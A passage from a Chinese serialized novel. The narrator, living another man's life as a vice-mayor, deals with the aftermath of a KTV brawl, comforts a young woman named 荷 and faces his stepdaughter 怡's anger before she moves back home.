的那个陌生女人,这时正冷脸看着我。

我看看庆,问:「她跟你一起的?」

庆愣了一下,伸手摸我的脑袋,说:「老峰,你没喝多吧?倩姐你都不认识
了?」又恍然大悟似的说:「啊,明白,明白。」我问:「什么明白?」庆在我
耳边轻笑着说:「你是不是那次给倩姐打的太惨,装着不认识了?」「什么打的
很惨?」我还没反应过来,庆转身冲着龙的小弟厉声又喊:「没见这都是自家人
么,你们还压着我保镖干什么?!」

我冲龙点点头,龙又冲那帮小弟点点头,那汉子的墨镜早不知去处,刚趴起
来,就一个侧踹腿把龙的一个小弟踢飞在空里,嘴里骂着:「操你妈!敢抓你爷
爷的蛋!」顿了顿,冲龙的小弟四视一番,狠狠又说:「来!你们再一起来!看
我弄不死你们!」又说:「你们这帮小兔崽子,要不是我一开始不想下重手,还
能让你们得着便宜了?!」

我正要上前劝,这时,过道尽头电梯一开,涌出来三个巡警,身后跟着KT
V的老板,那老板苦笑着看着我,意思是不关他事儿。那几个巡警走到这边,一
个说:「你们是谁报的警!」我一阵头大,看了眼那个跟庆一起叫倩的女人,在
心里把她操了一遍,对着巡警说:「都是误会。」那巡警又问:「什么误会?我
问是谁报的警!」那女人不说话。巡警回头跟老板说:「带我们去305房。」

这时,从旁边楼梯气喘吁吁跑上一个人,却是老马,一见着这个马脸,我肚
子里的火一下冒了上来,骂:「老马,你她妈生孩子去了么?!」老马给眼前的
这一圈人搞得脑子可能也有些蒙,解释说:「副市,刚,刚那个跟我马子打电话
呢,跟我闹情绪呢,要安慰的是吧。我那边忽的瞅着警车,觉得不大对头,就跑
上来了。我这为了赶时间,可是连电梯都没坐呢!」

我瞪着他,气的牙痒,心想:「就跑了三层,还她妈赶时间呢,你她妈跟你
马子打了多久电话你不知道?」

这时,那巡警在一边说:「老马,你怎么在这儿。」

老马愣了一下,转过身,看着那巡警,说:「啊!老吴,你怎么在这儿!操!
什么时候值完班,再一起去皇后搓一桌?」那巡警咳嗽一声,看看我。老马忙介
绍说:「你小子,连我家王副市长也不认识?跟你们刘局可是拜把子的兄弟呢!」
那巡警再咳嗽一声,淡淡说:「既然是误会,那王市长,你们忙。」说着冲另两
个巡警点点头,三个人转身走了。

看着那几个巡警走远,我转身问庆:「你跑这儿干什么?」又指指包房里仍
拿着麦克看着这边的青年问:「他是谁?」

庆说:「我的一个老校友,老峰,改天跟你聊呀,我们这还要去医院呢。」
他扭头冲屋里青年喊:「老梁,改天再聚啊。」又盯着龙,点点头,狠声说:
「好小子,你给我等着!」又问旁边女人:「倩姐,我鼻子真没歪是吧?」

看着几个人上了电梯,我回头看龙和一帮手下,呆了呆,只觉全身痛疼,不
由又一阵怒气,冲老马大吼:「老马,你在这儿告诉他们谁是他们的老大!」说
完,进了包房,也不理坐在沙发的那青年,走进里屋,见荷那个女同学正费力要
从床上搀起荷,荷这时衣服套回身上,从眼神看来,也应该清醒了,却仍是没有
力气走路。

荷看起来纤瘦,抱起来更是轻,抱着走这却很是一种优点,我抱着她走出包
房,跟门边老马说:「明天在金桥订个大间,我要跟这帮兔崽子开个会,嗯,对
了,叫上老张。」老马点点头,说:「老大,这也不怪龙他们,当时不是说好今
晚之后他们才算是咱们的人么?」也不等我搭话,趴在我耳边轻轻说:「屋里那
是梁副市长的助理。」我愣了一下,老马轻轻又说:「听说是梁副市长的私生子。」

我点点头,不说话,抱着荷向电梯口走,想问她怎么会跑这儿来,却又知道
这不是地方,盯着她一双还未干透的红红泪眼,一时不知是不是该生她的气,要
知道不是她这一搅和,怡年前可能就能给我劝回家了,搞得好今晚我就能回去跟
雁子邀功了。

想到怡,我一时又呆住了,想着怡是不是已经回家了,今晚这么乱糟糟的,
可千万别出什么事,走了几步,又停下来,想着怡是不是还在那个包房没走呢,
回头问龙的那些手下,他们都摇摇头,说不清楚。

我把荷放下,让她那同学帮着搀一会儿,冲怡的那个305包房跑过去。

包房里仍是昏暗着灯,怡呆呆坐在沙发上,她的那两个同学已不知去向。

我走过去,避着女孩的目光,说:「小怡,赶快回去吧,你小姨会着急的。」

女孩盯着我,淡淡说:「那些人是你的手下?」我不说话。女孩又问:「今
晚他们都是来陪你演戏给我看的?」我仍不吭声。女孩说:「你想干什么?装着
关心我,在乎我?」我想了想说:「小怡,你妈让我劝你回家。」「我问你!」

呆了会儿,我说:「那些照片可都是真的,那录音也是,那小子真是玩你的
小怡。」

「我问的是你!」

我呆着不作声,过了会儿,看向女孩,见她脸上正披着泪,眼神仍直直盯着
我的脸,冷冷看着我,半晌,忽的伸着脖子冲我狂吼起来:「我恨你!我恨你!
我恨你!!…」

我忙躲开女孩的视线,女孩声嘶力竭的骂声里,我一时有些迷惑,明明都是
峰当年的错,为什么我会对她有愧疚感?是因为自己对她有坏念头?还是因为我
的灵魂正在慢慢熔进峰的生命线里,融入峰这个角色里?

不知过了多久,女孩已喊得没了力气,嘴里却仍喃喃说着:「我恨你!…」,
这时,老马推门进来,我感觉是来了救星,忙说:「老马,你带小怡回她小姨那
儿,我有事儿先走了。」

我把荷和她那同学送回住处,坐在荷床边,看着她那虚弱的样子,想了想,
决定还是隔天问她。正起身要走,女孩伸手拉着我的手,轻轻说:「对不起!」
我呆了一下,听女孩喃喃又一声:「对不起!」我这时脑子里怡的「我恨你!」
还在回荡着,一时有些发愣,问:「什么对不起?」

「我不该老这么烦你。」

我回头看女孩,见她眼角又淌下泪来,不由重新坐下,抚着她的眼角,笑笑
安慰说:「我喜欢你烦我。」女孩泪仍是流个不停,我说:「别哭了啊,哭花脸
我就不喜欢了。」忽的一愣,想起学校恋爱的季节,我也经常这样安慰晨的哭泣,
心下一酸,想着原来同样的情话,要是跟两个女孩说,会让自己觉得如此的假。

「梁助理让我过去见一个客户,」女孩轻轻解释说:「说是北京来的很重要
的一个投资人,让我过去跟他们介绍一下咱们在黄滩旅游区那个项目,说他们可
能会感兴趣。」

「怎么不跟我说?」

「我不知道他们有没有兴趣,我…」女孩犹豫了一会儿,说:「我不想烦你。」

我呆了呆,说:「你不知道梁副市长跟咱们不对付么?再说那种地方你也敢
去?」

「我想能给你做些事。」顿了顿女孩又说:「我以为那里只是唱歌的地方,
再说有小楠陪着我,我,我以为…」

女孩轻轻哭泣出声,我把女孩抱在怀里,也不再说什么,只是轻轻拍着她的
肩,看着她纯真的泪眼,一时有些恍惚,想着这是她的本性,还是跟我演戏,想
着如果是作戏的话,这可能是演艺界最极致的演技了。

女孩终于止了哭声,慢慢平静了下来,在我怀里,忽的轻声说:「我今晚给
你吧?」

「嗯?」我一时没反应过来。

「我把第一次给你吧,」女孩轻声又说:「我知道你很在乎的。」

我想着峰当初让她填的是否是处女的表格,给女孩留下这个印象应该很正常,
我呆了呆问:「你自己不在乎么?」

女孩不吭声,过了会儿,说:「那人今晚要了我的话,我可能会去死的。」

「嗯?」我一愣,盯着女孩的眼,皱皱眉,问:「你怎么会这么想?」

女孩长久不作声,我又问了一句,听女孩说:「我的第一次只能给你。」

我不由又皱起眉,仔细端详着女孩,看着她脸上有多少虚假,女孩红了脸,
低了头。

「这是爱情么?」我喃喃想,不由问起我一直想问的问题:「你当初第一次
面试见到我,就喜欢上我的么?」

女孩那时见到的是真正的峰,她如果点了头,只说明她喜欢的只是峰这个面
具,而不是在雨里见到的我。

女孩没点头,也没说不是,我喑自吁了一口气,不敢再问,怕她如果点头了,
我还真不知以后该拿什么态度怎么对她。

「你今晚要了我好么?」女孩又说。

今天晚上的事搞得我一个头两个大,怡的哭喊声仍在脑里荡着,我确实没心
情,想着跟女孩的几次,要不是我没心情,要不就是她来月经,不由哭笑着说:
「改天吧。」

女孩沉默了,半晌,说:「你讨厌我么?」

「嗯?」我呆了呆,感受着她语调的凄凉,忙笑笑说:「别瞎想了,没听老
人说,老东西都是要留到最后么。等你有精神再说好么?」

女孩不说话,我说:「明天中午我过来,你作饭我吃吧。」女孩眼一亮,点
点头。

「对了,你现在应该放假了吧,怎么没回家?」

「钱叔帮我调到值班。」

「过年不回家?」

女孩不说话。

我不再问。

我离开荷住处,开着车,慢慢向家的方向驰去,想着几分钟前与女孩亲吻告
别时那张红晕的脸,那双失落的眼神,一时有些恍惚。

「她真心爱我么?什么时候开始的?我爱她么?」我喃喃想着:「那晨呢,
我应该还是爱着她的吧?可雁呢?月呢?妈妈呢?我爱她们么,一个男人怎么会
同时爱上这么多女人?还是,这全不是爱?或全变了质?」

正是年关,虽说夜已深,街上车辆仍来往不息,我不理后面催促的汽笛声,
仍是不急不慢的开着车,想着怡已经把今天我那卑劣的演技跟雁说了吧,或是跟
她小姨芙说了,芙又转告给了雁,可能小怡还会让芙转告雁,说她再也不会认我
这个耍阴谋诡计无耻的爸爸,再也不会回那个家了。

我真不知该怎么面对雁发怒的神情。

我车开进别墅院子,见老马的车停在那里,旁边还另有一辆出租,挡着我去
车库的路。老马正跟一个男人在车边抽着烟,我皱着眉,下了车,说:「老马,
这么晚了,你到这边干什么?出什么事了么?」心里一惊,忙问:「小怡出什么
事了?」

老马不说话,只是看着我笑,说:「老大,小怡的东西都搬进去了,我也该
撤了。」说着上了车,那男人也进了出租车,一会儿两辆车一溜烟出了院子。

「小怡回家了?」我急急开了门,走进一楼大厅,见雁跟芙坐在沙发上,雁
看到我,几步跑过来,扑到我怀里,流着泪,哭出声来,我心又一紧,问:「小
怡出事了?」

雁搂着我,哭的更是大声,芙走过来,淡淡解释说:「姐夫,小怡今晚回去
就说她要搬回来,我让她等明天,她非得今晚。」

我抚着雁的肩,眼一时让她感染得也有些湿,说:「高兴的事儿,你哭什么
啊?」

雁仍是哭个不停,我一边轻抚着她,一边看看四周,问芙:「小怡呢?」

「去自己房间了。」芙说。

「小怡没说她为什么要回来?」我问。

芙看着我不说话。

女人盯得我发毛,我忙换了话题,问:「你今晚留这儿?」

女人仍是不说话。

我又问:「要不我送你回去?」